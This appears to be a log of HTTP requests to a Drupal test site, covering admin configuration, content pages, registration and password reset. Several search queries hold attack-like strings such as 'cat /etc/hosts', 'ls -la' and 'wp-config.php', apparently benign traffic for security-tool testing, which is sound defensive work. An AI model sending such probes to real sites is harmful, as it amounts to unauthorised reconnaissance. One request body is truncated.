{"method": "POST", "target": "/admin/config/search/pages", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/config/search/pages", "Cookie: SESSexample=example-session-value"], "body": "cron_limit=100&minimum_word_size=3&overlap_cjk=1&search_type=user_search&op=Add+search+page&entities%5Bcontent%5D%5Bweight%5D=-10&form_build_id=form-zkfBqVKODA5_wbOFsX_3NFPhSC_gnINh2M7rHYmFSwQ&form_token=iGIiBHs6fcxoEK9qZxxFkjh3rbC2M9Y2R_JRat7N93c&form_id=search_admin_settings"}
{"method": "GET", "target": "/admin/config/search/pages/add/user_search", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/config/search/pages", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "POST", "target": "/admin/config/search/pages/add/user_search", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/config/search/pages/add/user_search", "Cookie: SESSexample=example-session-value"], "body": "label=UsersUsers&id=users&path=user&form_build_id=form-qdd4t_ZEijkL16Cm3Mjpt4ADl-oOomMwZAbvMbuCL84&form_token=ttZsmIX1d92dXP47AP1OI3G9wC0R501kWB_G2nlqxTo&form_id=search_page_add_form&op=Save"}
{"method": "GET", "target": "/admin/config/people/accounts", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "POST", "target": "/admin/config/people/accounts", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/config/people/accounts", "Cookie: SESSexample=example-session-value"], "body": "anonymous=Anonymous&user_register=visitors&user_email_verification=1&user_password_strength=1&user_cancel_method=user_cancel_block&mail_notification_address=&user_mail_register_admin_created_subject=An+administrator+created+an+account+for+you+at+%5Bsite%3Aname%5D&user_mail_register_admin_created_body=%5Buser%3Adisplay-name%5D%2C%0D%0A%0D%0AA+site+administrator+at+%5Bsite%3Aname%5D+has+created+an+account+for+you.+You+may+now+log+in+by+clicking+this+link+or+copying+and+pasting+it+into+your+browser%3A%0D%0A%0D%0A%5Buser%3Aone-time-login-url%5D%0D%0A%0D%0AThis+link+can+only+be+used+once+to+log+in+and+will+lead+you+to+a+page+where+you+can+set+your+password.%0D%0A%0D%0AAfter+setting+your+password%2C+you+will+be+able+to+log+in+at+%5Bsite%3Alogin-url%5D+in+the+future+using%3A%0D%0A%0D%0Ausername%3A+%5Buser%3Aname%5D%0D%0Apassword%3A+Your+password%0D%0A%0D%0A--++%5Bsite%3Aname%5D+team&user_mail_register_pending_approval_subject=Account+details+for+%5Buser%3Adisplay-name%5D+at+%5Bsite%3Aname%5D+%28pending+admin+approval%29&user_mail_register_pending_approval_body=%5Buser%3Adisplay-name%5D%2C%0D%0A%0D%0AThank+you+for+registering+at+%5Bsite%3Aname%5D.+Your+application+for+an+account+is+currently+pending+approval.+Once+it+has+been+approved%2C+you+will+receive+another+email+containing+information+about+how+to+log+in%2C+set+your+password%2C+and+other+details.%0D%0A%0D%0A--++%5Bsite%3Aname%5D+team&register_pending_approval_admin_subject=Account+details+for+%5Buser%3Adisplay-name%5D+at+%5Bsite%3Aname%5D+%28pending+admin+approval%29&register_pending_approval_admin_body=%5Buser%3Adisplay-name%5D+has+applied+for+an+account.%0D%0A%0D%0A%5Buser%3Aedit-url%5D&user_mail_register_no_approval_required_subject=Account+details+for+%5Buser%3Adisplay-name%5D+at+%5Bsite%3Aname%5D&user_mail_register_no_approval_required_body=%5Buser%3Adisplay-name%5D%2C%0D%0A%0D%0AThank+you+for+registering+at+%5Bsite%3Aname%5D.+You+may+now+log+in+by+clicking+this+link+or+copying+and+pasting+it+into+your+browser%3A%0D%0A%0D%0A%5Buser%3Aone-time-login-url%5D%0D%0A%0D%0AThis+link+can+only+be+used+once+to+log+in+and+will+lead+you+to+a+page+where+you+can+set+your+password.%0D%0A%0D%0AAfter+setting+your+password%2C+you+will+be+able+to+log+in+at+%5Bsite%3Alogin-url%5D+in+the+future+using%3A%0D%0A%0D%0Ausername%3A+%5Buser%3Aname%5D%0D%0Apassword%3A+Your+password%0D%0A%0D%0A--++%5Bsite%3Aname%5D+team&user_mail_status_activated_notify=1&user_mail_status_activated_subject=Account+details+for+%5Buser%3Adisplay-name%5D+at+%5Bsite%3Aname%5D+%28approved%29&user_mail_status_activated_body=%5Buser%3Adisplay-name%5D%2C%0D%0A%0D%0AYour+account+at+%5Bsite%3Aname%5D+has+been+activated.%0D%0A%0D%0AYou+may+now+log+in+by+clicking+this+link+or+copying+and+pasting+it+into+your+browser%3A%0D%0A%0D%0A%5Buser%3Aone-time-login-url%5D%0D%0A%0D%0AThis+link+can+only+be+used+once+to+log+in+and+will+lead+you+to+a+page+where+you+can+set+your+password.%0D%0A%0D%0AAfter+setting+your+password%2C+you+will+be+able+to+log+in+at+%5Bsite%3Alogin-url%5D+in+the+future+using%3A%0D%0A%0D%0Ausername%3A+%5Buser%3Aaccount-name%5D%0D%0Apassword%3A+Your+password%0D%0A%0D%0A--++%5Bsite%3Aname%5D+team&user_mail_status_blocked_subject=Account+details+for+%5Buser%3Adisplay-name%5D+at+%5Bsite%3Aname%5D+%28blocked%29&user_mail_status_blocked_body=%5Buser%3Adisplay-name%5D%2C%0D%0A%0D%0AYour+account+on+%5Bsite%3Aname%5D+has+been+blocked.%0D%0A%0D%0A--++%5Bsite%3Aname%5D+team&user_mail_cancel_confirm_subject=Account+cancellation+request+for+%5Buser%3Adisplay-name%5D+at+%5Bsite%3Aname%5D&user_mail_cancel_confirm_body=%5Buser%3Adisplay-name%5D%0D%0A%0D%0AA+request+to+cancel+your+account+has+been+made+at+%5Bsite%3Aname%5D.%0D%0A%0D%0AYou+may+now+cancel+your+account+on+%5Bsite%3Aurl-brief%5D+by+clicking+this+link+or+copying+and+pasting+it+into+your+browser%3A%0D%0A%0D%0A%5Buser%3Acancel-url%5D%0D%0A%0D%0ANOTE%3A+The+cancellation+of+your+account+is+not+reversible.%0D%0A%0D%0AThis+link+expires+in+one+day+and+nothing+will+happen+if+it+is+not+used.%0D%0A%0D%0A--++%5Bsite%3Aname%5D+team&user_mail_status_canceled_subject=Account+details+for+%5Buser%3Adisplay-name%5D+at+%5Bsite%3Aname%5D+%28canceled%29&user_mail_status_canceled_body=%5Buser%3Adisplay-name%5D%2C%0D%0A%0D%0AYour+account+on+%5Bsite%3Aname%5D+has+been+canceled.%0D%0A%0D%0A--++%5Bsite%3Aname%5D+team&user_mail_password_reset_subject=Replacement+login+informaLine truncated
{"method": "GET", "target": "/media/add/image", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/reports/search", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/reports/access-denied", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/reports/page-not-found", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/comment/1/edit", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/comment/1/delete", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/media/1/edit", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/structure/media", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "POST", "target": "/contextual/render?theme=olivero", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Content-Type: application/x-www-form-urlencoded;charset=UTF-8", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/taxonomy/term/1", "Cookie: SESSexample=example-session-value"], "body": "ids%5B%5D=entity.view.edit_form%3Aview%3Dtaxonomy_term%3Alocation%3Dpage%26name%3Dtaxonomy_term%26display_id%3Dpage_1%26langcode%3Den&ids%5B%5D=taxonomy_term%3Ataxonomy_term%3D1%3Achanged%3D1794214658%26langcode%3Den&ids%5B%5D=node%3Anode%3D1%3Achanged%3D1794214664%26langcode%3Den&tokens%5B%5D=GAe0zLesmOPq7bQZ_NH5jfUk6MU99eEngNvruqUxOgw&tokens%5B%5D=rydUkwhJOkTb6iVeuq6z0HGrGVXmL37cXZOt5fmvGkY&tokens%5B%5D=gbyDF1Z3LcCvTyCIXXmz1gj9CG3LaEd37N1nZ2PpLNo"}
{"method": "GET", "target": "/taxonomy/term/1/edit", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/structure/taxonomy/manage/tags/add", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/search/user?keys=hello%20world", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/search/node?keys=hello%20world&page=1", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/search/user?keys=python3", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/search/node?keys=python3&page=1", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/search/user?keys=powershell", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/search/node?keys=powershell&page=1", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/search/user?keys=ls%20-la", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/search/node?keys=ls%20-la&page=1", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/search/user?keys=.htaccess", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/search/node?keys=.htaccess&page=1", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/search/user?keys=wp-config.php", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/search/node?keys=wp-config.php&page=1", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/search/user?keys=docker-compose.yml", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/search/node?keys=docker-compose.yml&page=1", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/search/user?keys=cat%20%2Fetc%2Fhosts", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/search/node?keys=cat%20%2Fetc%2Fhosts&page=1", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/search/user?keys=SELECT%20rows%20FROM%20table", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/search/node?keys=SELECT%20rows%20FROM%20table&page=1", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "POST", "target": "/user/logout/confirm", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/logout/confirm", "Cookie: SESSexample=example-session-value"], "body": "confirm=1&form_build_id=form-2mqij9gEz7sEEx0AFXDMNhEi7UGMmIKDKOtaH__AdcM&form_token=4rgwkD4H8ojOv1RvJymJhN4_mA6DPv6hOdwHxXCOjMM&form_id=user_logout_confirm&op=Log+out"}
{"method": "GET", "target": "/search?keys=hello%20world", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"], "body": ""}
{"method": "GET", "target": "/search?keys=python3", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"], "body": ""}
{"method": "GET", "target": "/search?keys=powershell", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"], "body": ""}
{"method": "GET", "target": "/search?keys=ls%20-la", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"], "body": ""}
{"method": "GET", "target": "/search?keys=.htaccess", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"], "body": ""}
{"method": "GET", "target": "/search?keys=wp-config.php", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"], "body": ""}
{"method": "GET", "target": "/search?keys=docker-compose.yml", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"], "body": ""}
{"method": "GET", "target": "/search?keys=cat%20%2Fetc%2Fhosts", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"], "body": ""}
{"method": "GET", "target": "/search?keys=SELECT%20rows%20FROM%20table", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"], "body": ""}
{"method": "POST", "target": "/user/register", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryS0AxXBAlk7QxCkUx", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/register"], "body": "------WebKitFormBoundaryS0AxXBAlk7QxCkUx\r\nContent-Disposition: form-data; name=\"mail\"\r\n\r\nnew.person@example.com\r\n------WebKitFormBoundaryS0AxXBAlk7QxCkUx\r\nContent-Disposition: form-data; name=\"name\"\r\n\r\nnew_person\r\n------WebKitFormBoundaryS0AxXBAlk7QxCkUx\r\nContent-Disposition: form-data; name=\"user_picture[0][fids]\"\r\n\r\n\r\n------WebKitFormBoundaryS0AxXBAlk7QxCkUx\r\nContent-Disposition: form-data; name=\"user_picture[0][display]\"\r\n\r\n1\r\n------WebKitFormBoundaryS0AxXBAlk7QxCkUx\r\nContent-Disposition: form-data; name=\"form_build_id\"\r\n\r\nform-Ylo4JYJ_UfFvdR3PaUXBHi1yzjp7M4C4e1XY6hAE1y0\r\n------WebKitFormBoundaryS0AxXBAlk7QxCkUx\r\nContent-Disposition: form-data; name=\"form_id\"\r\n\r\nuser_register_form\r\n------WebKitFormBoundaryS0AxXBAlk7QxCkUx\r\nContent-Disposition: form-data; name=\"op\"\r\n\r\nCreate new account\r\n------WebKitFormBoundaryS0AxXBAlk7QxCkUx--\r\n"}
{"method": "POST", "target": "/user/password", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/password"], "body": "name=new.person%40example.com&form_build_id=form-Zkr9kQgDYORrLzpGPYPnF0LHbbHjoangOOgglubhsdE&form_id=user_pass&op=Submit"}
